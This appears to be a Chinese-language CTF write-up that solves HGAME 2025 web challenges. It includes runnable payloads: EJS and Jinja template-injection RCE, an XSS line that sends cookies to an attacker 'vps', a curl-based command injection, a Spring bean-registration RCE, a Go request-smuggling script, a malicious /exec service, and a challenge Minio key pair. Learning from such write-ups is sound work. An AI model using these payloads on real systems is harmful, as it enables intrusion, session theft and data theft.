WEEK1 看看HGAME,确实好题啊。
Level 24 Pacman JS题,前端js确实能看到疑似base64的东西,解密后再栅栏解密却是假的flag。
对于它说的10000分,搜它的十六进制,发现有个比较的逻辑,对应0x270f,也就是9999的十六进制。
从变量能找到_SCORE
,那么我们直接在console设置_SCORE=10000
,然后死五次就获得了个base64,再栅栏解密得到真正的flag:
Level 47 BandBomb 给了个app.js,还有个上传路径。
其实本地搭好环境就知道文件目录结构是啥,public目录下的东西是被映射到/static路由下了,还有个mortis.ejs存在于views目录下。给了个rename路由,其实本地测测可以发现这里可以文件覆盖。意思可以理解为linux命令中的mv。
本来直接rename根目录下的flag到/static那个路由下的图片就出了,但是它本地根目录没放flag,估计在环境变量或者要R。
这里有几种常规做法,第一种就是前面说的直接传过去,但是失败。第二种是写计划任务看能不能弹个shell,第三种就是用它的ejs来打SSTI直接模板注入了,因为源码中写出了render这一渲染逻辑。
这里用的就是第三种方法,可以R。
文章 - Ejs模板引擎注入实现RCE - 先知社区
hxp ctf valentine ejs ssti 语法特性造成的漏洞 - Galio - 博客园
本来我想造个内存马,但是好像需要app.js的配合,但是已经启动的服务覆盖了app.js也没用,需要重启。所以只能一次渲染成功。
测了下,机子没bash,有nc,但不出网:
直接读env到/static目录算了:
1 <%= global .process .mainModule .require ('child_process' ).execSync ("env > /app/public/1.txt" ) %>
先上传到uploads目录,然后直接覆盖:
其实也可以直接
虽然算事后诸葛亮了,因为如果不在环境变量,阁下该如何应对?还是得R啊。
Level 69 MysteryMessageBoard 简单的XSS。
登录提示其实就是弱密码,888888进了。
然后发现有个留言板,抓包有cookie,留言板写xss的payload能弹框。
扫路径发现个/admin,提示是admin会来看留言板,那么思路就是先在留言板写个外带cookie的payload,然后访问/admin,vps会接收到admin访问的admin_cookie。
再带admin_cookie扫路径可以发现/flag路径,带cookie访问获得flag:
1 <script>location.href ="http://vps/?cookie=" +document .cookie </script>
Level 25 双面人派对 给了俩url,开始以为是k8s,但是确实也有渊源。
下面那个可以直接读到一个main文件,不知道啥玩意,但是file查看得知是个elf,直接运行一下看看:
发现是个go编译的,会一直访问localhost:9000的桶子。
提示那个女人,应该是IDA给它逆一下,UPX加壳了,脱一下就行了。
IDA打开,搜索字符串发现了硬编码的ACCESS_KEY和SECRET_KEY,用的minio集群分布:
搜一下minio的操作手册,获得了这俩玩意其实可以直接admin登录看桶子。可以用python-sdk交互也可以下mc来命令行交互,还可以编译个console来图形化操作。
连接第一个url,会发现有hint和prodbucket两个桶子,hint里给了源码,prodbucket桶子里给了个update对象,也是个elf文件,导下来发现这个elf就是我们前面获得的main文件。
那么可以尝试更新这个update为我们自己导入的恶意服务。然而这个服务还是不出网emm
看了下源码,发现对上第二个url的服务是打开了当前目录下的文件读取,那么我们直接改一下再编译成新的elf:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package mainimport ( "level25/fetch" "level25/conf" "github.com/gin-gonic/gin" "github.com/jpillora/overseer" )func main () { fetcher := &fetch.MinioFetcher{ Bucket: conf.MinioBucket, Key: conf.MinioKey, Endpoint: conf.MinioEndpoint, AccessKey: conf.MinioAccessKey, SecretKey: conf.MinioSecretKey, } overseer.Run(overseer.Config{ Program: program, Fetcher: fetcher, }) }func program (state overseer.State) { g := gin.Default() g.StaticFS("/" , gin.Dir("/" , true )) g.Run(":8080" ) }
将新编译的文件命名为update,虽然发现不能直接删除桶子里的update,但是可以覆盖掉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from minio import Miniofrom minio.error import S3Error client = Minio( "node2.hgame.vidar.club:31749" , access_key="minio_admin" , secret_key="JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=" , secure=False ) bucket_name = "prodbucket" object_name = "update" file_path = "./update" try : if not client.bucket_exists(bucket_name): print (f"Bucket {bucket_name} does not exist." ) else : client.fput_object(bucket_name, object_name, file_path) print (f"File '{file_path} ' has been uploaded as '{object_name} ' to bucket '{bucket_name} '." )except S3Error as e: print (f"Error: {e} " )
或者图形化:
虽然报错,但其实看文件大小就知道已经覆盖成功了,而这个服务确实也是实时的。
等一段时间,访问第二个url,发现已经替换成我们的恶意服务了:
直接读flag就行:
当然也可以写个类似内存马那种RCE端点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 g.POST("/exec" , func (c *gin.Context) { command := c.PostForm("command" ) if command == "" { c.JSON(400 , gin.H{"error" : "No command provided" }) return } output, err := exec.Command("sh" , "-c" , command).CombinedOutput() if err != nil { c.JSON(500 , gin.H{"error" : err.Error(), "output" : string (output)}) return } c.JSON(200 , gin.H{"output" : string (output)}) })
Level 38475 角落 打开一个留言板,看题目描述还以为又是XSS。
但其实不是。
扫路径能扫到robots.txt,给了个app.conf,读一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Include by httpd.conf <Directory "/usr/local/apache2/app" > Options Indexes AllowOverride None Require all granted </Directory ><Files "/usr /local /apache2 /app /app.py "> Order Allow,Deny Deny from all </Files > RewriteEngine On RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/" RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" ProxyPass "/app/" "http://127.0.0.1:5000/"
乍一看没啥用,就下面的rewrite逻辑有点东西。
大米老师还真搜到了,牛的:
Apache - HackTricks
ACL-Bypass。
意思就是可以越权路径读文件了:
但是不能穿越目录好像。
那么我们直接将源码一把抓住,顷刻炼化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from flask import Flask, request, render_template, render_template_string, redirectimport osimport templates app = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msgdef readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status)@app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' )@app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
我还多读了一些东西,本地想跑跑试试。
看到下面的render一眼SSTI,试了下确实能直接回显,但是左花括号{
基本给你ban,那怎么办?
看一眼容器名称-raceout。
条件竞争没跑了。
多线程直接跑/send,一边传冗余长一点的文件卡它的readmsg(),一边传SSTI-payload,直接顷刻炼化了:
(这里用的那个misc的文件来当冗余信息,内部消化挺好用,一打一个准😋😋😋)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsimport threading send_url = 'http://node2.hgame.vidar.club:30544/app/send' read_url = 'http://node2.hgame.vidar.club:30544/app/read' malicious_message = '{{"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat /flag").read()}}' def read_file_content (file_path ): with open (file_path, 'r' ) as file: return file.read()def send_message (message ): response = requests.post(send_url, data={'message' : message}) return responsedef read_message (): response = requests.get(read_url) return response.textdef race_condition (): normal_message = read_file_content("F:\\Study\\CTF\\HGAME2025\\misc\\hky.txt" ) while True : threading.Thread(target=send_message, args=(normal_message,)).start() threading.Thread(target=send_message, args=(malicious_message,)).start() response = read_message() print (response) if 'hgame' in response: print ('Race condition successful, stopping...' ) break thread = threading.Thread(target=race_condition) thread.start() thread.join()
WEEK1轻松拿下:
WEEK2 来看看WEEK2的。
Level 21096 HoneyPot 审计源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 func ImportData (c *gin.Context) { var config ImportConfig if err := c.ShouldBindJSON(&config); err != nil { c.JSON(http.StatusBadRequest, gin.H{ "success" : false , "message" : "Invalid request body: " + err.Error(), }) return } if err := validateImportConfig(config); err != nil { c.JSON(http.StatusBadRequest, gin.H{ "success" : false , "message" : "Invalid input: " + err.Error(), }) return } config.RemoteHost = sanitizeInput(config.RemoteHost) config.RemoteUsername = sanitizeInput(config.RemoteUsername) config.RemoteDatabase = sanitizeInput(config.RemoteDatabase) config.LocalDatabase = sanitizeInput(config.LocalDatabase) if manager.db == nil { dsn := buildDSN(localConfig) db, err := sql.Open("mysql" , dsn) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to connect to local database: " + err.Error(), }) return } if err := db.Ping(); err != nil { db.Close() c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to ping local database: " + err.Error(), }) return } manager.db = db } if err := createdb(config.LocalDatabase); err != nil { c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to create local database: " + err.Error(), }) return } command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s" , config.RemoteHost, config.RemoteUsername, config.RemotePassword, config.RemoteDatabase, localConfig.Username, localConfig.Password, config.LocalDatabase, ) fmt.Println(command) cmd := exec.Command("sh" , "-c" , command) if err := cmd.Run(); err != nil { c.JSON(http.StatusInternalServerError, gin.H{ "success" : false , "message" : "Failed to import data: " + err.Error(), }) return } c.JSON(http.StatusOK, gin.H{ "success" : true , "message" : "Data imported successfully" , }) }func sanitizeInput (input string ) string { reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\]` ) return reg.ReplaceAllString(input, "" ) }
可以发现RemotePassword没有被正则匹配,所以可以直接在这里打命令注入:
1 sh -c mysqldump -h vps -u root -p;curl http://vps:1234 hahaha |mysql -h 127.0.0.1 -u root -proot test
POST传参:
1 { "remote_host" : "vps" , "remote_port" : "3306" , "remote_username" : "root" , "remote_password" : ";curl http://vps:1234;" , "remote_database" : "hahaha" , "local_database" : "test" }
Level 21096 HoneyPot_Revenge 审计源码,发现所有的传参都被正则了,而且正则是白名单:
1 2 3 4 5 6 7 func sanitizeInput (input string ) string { sanitized := strings.TrimSpace(input) if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.-]+$` , sanitized); !matched { return "" } return sanitized }
不能直接命令注入了。
这里我是没打出来,而且后面也懒得看了。官方wp的做法是本地起一个mysql,让导⼊语句获取到恶意的sql,从而导入进mysql语句来进⾏RCE,触发/writeflag
来触发RCE。
思路就是去更改MySQL的版本号,从而注入\!
来R。
貌似是打的mysqldump的CVE:CVE-2024-21096:MySQLDump提权漏洞分析 - FreeBuf网络安全行业门户
就是用版本信息来打的。有兴趣可以去看看。这里就不复现了。
Level 60 SignInJava 审计源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @RequestMapping({"/api"}) public class APIGatewayController { public APIGatewayController () { } @RequestMapping( value = {"/gateway"}, method = {RequestMethod.POST} ) @ResponseBody public BaseResponse doPost (HttpServletRequest request) throws Exception { try { String body = IOUtils.toString(request.getReader()); Map<String, Object> map = (Map)JSON.parseObject(body, Map.class); String beanName = (String)map.get("beanName" ); String methodName = (String)map.get("methodName" ); Map<String, Object> params = (Map)map.get("params" ); if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence []{"flag" })) { return new BaseResponse (403 , "flagTestService offline" , (Object)null ); } else { Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params); return new BaseResponse (200 , (String)null , result); } } catch (Exception e) { return new BaseResponse (500 , ((Throwable)Objects.requireNonNullElse(e.getCause(), e)).getMessage(), (Object)null ); } } }
可以发现这里需要提供Spring的bean,可以对应到类上,提供该bean类的方法和参数,然后就会invoke触发这个方法。
当然给的FlagTestService#catFlag
触发不了,因为flag
这里被ban了而且绕不了。
但是转念一想,这里既然都能invoke直接触发方法了,那么我们能不能找到一个bean类先使用这个代码注册一个恶意bean,然后在调用这个恶意bean的方法来R呢?
这个方法是可行的。本地调试的时候将视角放到了cn.hutool
的一系列包,从中找到了一个完美契合需求的东西(感觉出题人就是为了这叠醋才包了这盘饺子吧):
1 cn.hutool.extra.spring.SpringUtil#registerBean
这个方法可以帮助我们注册一个恶意bean对象,那么需要注册的能实现RCE的也能找到:
1 cn.hutool.core.util.RuntimeUtil#execForStr
游戏结束了。
srds应该能找到的恶意类不止这个,在它包里能用的应该还有其他的。
思路出来了,第一次注册一个恶意bean,名字取作evilCmd
,beanName提供为cn.hutool.extra.spring.SpringUtil
,注册类为cn.hutool.core.RuntimeUtil
,注意这里注册类要使用@type
:
1 2 3 4 5 { "beanName" : "cn.hutool.extra.spring.SpringUtil" , "methodName" : "registerBean" , "params" : { "arg0" : "evilCmd" , "arg1" : { "@type" : "cn.hutool.core.util.RuntimeUtil" } } }
然后直接触发:
1 2 3 4 5 { "beanName" : "evilCmd" , "methodName" : "execForStr" , "params" : { "arg0" : [ "ipconfig" ] } }
注意这里要传数组形式,也就是写个中括号那种。
远程一把通,但是反弹shell有点问题,可能是不出网,这里就直接读了:
Level 111 不存在的车厢 给的源码可以发现它自己分了前后端逻辑,前端用proxy接收HTTP请求,后端自己写了个H111协议接收proxy交付的请求并给出response。
这里其实很容易想到HTTP请求走私的打法,而这里只需要找到前后端分段出现歧义的地方,就可以在前端GET访问/
时同时走私POST请求让后端访问/flag
。
注意到:
bodyLength使用的是uint16储存,即范围为:
而且GET请求其实是能携带body的,所以这里就可以打一个请求的溢出,第一段溢出让他丢弃前面65535长度的包从而把后面走私的POST请求当作新的请求向后端要flag。
只是本地和靶机跑的时候容易宕机,本地调试的时候也容易死,远程是大概打2-3次可以走私成功直接获得flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package mainimport ( "bytes" "fmt" "io" "net/http" )func main () { anyChars := []byte ("whatever" ) expected := []byte { 0x00 , 0x04 , 0x50 , 0x4f , 0x53 , 0x54 , 0x00 , 0x05 , 0x2f , 0x66 , 0x6c , 0x61 , 0x67 , 0x00 , 0x00 , 0x00 , 0x00 , } padding := make ([]byte , 65519 ) body := append (anyChars, expected...) body = append (body, padding...) req, err := http.NewRequest("GET" , "http://175.27.221.240:30154" , bytes.NewReader(body)) if err != nil { fmt.Println("error creating request:" , err) return } req.Header.Set("Content-Length" , fmt.Sprintf("%d" , len (body))) client := &http.Client{} resp, err := client.Do(req) if err != nil { fmt.Println("error sending request:" , err) return } defer resp.Body.Close() respBody, err := io.ReadAll(resp.Body) if err != nil { fmt.Println("error reading response:" , err) return } fmt.Println("Response received:" , string (respBody)) }
go 中的uint16、int16 、int32区别和转换问题及其他细节理解-CSDN博客
HTTP 请求走私漏洞详解_request smuggling-CSDN博客
高级漏洞篇之HTTP请求走私专题 - FreeBuf网络安全行业门户
Level 257 日落的紫罗兰 最喜欢的一道,这道题拿下了一血。
给了两个tcp容器,很容易发现第一个是ssh的服务,第二个是一个redis的服务,题目给出了user.txt,最开始还以为是打ssh的爆破,大米老师在这里爆了很久很久hhh
其实不然,发现第二个是redis后,就能想到可能是打redis的枚举用户登录,然后写公钥或者写计划任务反弹shell这种。
找到工具可以一键打用户枚举并写公钥:
发现mysid用户已经写入了我们的公钥,那么直接SSH连接第一个靶机:
拿到shell后,可以发现根目录确实有flag,但是没权限读。
suid提权也无果,ps -aux
看看进程:
发现/app下以root权限启动了一个jar包,那么接下来不出意料就是打java了。
拖下源码进行审计:
使用的是search方法来进行ldap服务客户端的配置,这里直接打JNDI不可行。
而且ssh那个机子其实没有发现服务端的东西,源码配置里的ldapurl
是本地的389端口,而机器上389端口啥也没有。
那么我们的思路应该就是自己写一个恶意LdapServer上去,然后RCE。
这道题原题被赵哥一眼丁真了,太赛棍了:
[JQCTF2024、RCTF2024 Web Writeup - Boogiepop Doesn’t Laugh](https://boogipop.com/2024/05/27/JQCTF2024、RCTF2024 Web Writeup/#OpenYourEyesToSeeTheWorld)
思路如上不在赘述,打一个Jackson的POJONode触发就可以JNDI了。
本地调试直接通了:
但是有个问题是远程环境是不出网的,所以不能直接反弹个root的shell。
但是ssh我们能直接登录,所以不需要打内存马,只需要chmod个777就ok。
靶机还贴心的给了curl,那么我们直接在ssh机器上交互就完事了,虽然有等号=的黑名单,原题用json下的unicode绕过,我们可以直接url编码绕过:
1 curl -X POST http://127.0.0.1:8080/search -d "baseDN=dc%3Djavasec,dc%3Deki,dc%3Dxyz%2F0&filter=(cn%3Dtest)"
那么怎么把这个服务弄过去呢?
我们还能发现java并没有在/bin或者/usr/bin里:
而且还有个问题,由于389端口低于1000,而低于1000的端口一般没root不能自己起。所以直接传jar包过去本地起这个做法肯定是行不通的。
所以需要用类似打渗透的思路解题,这里很容易想到ssh的端口转发,我们在vps上起这个服务,然后转发到这个ssh的389端口:
1 ssh -i ~/.ssh/id_rsa -p 30376 -R 389:localhost:389 -R 8888:localhost:8888 mysid@node1.hgame.vidar.club -N
酣畅淋漓,大快人心!
后记 总之这次的hgame题目质量不错,第二周也还是挺好玩的。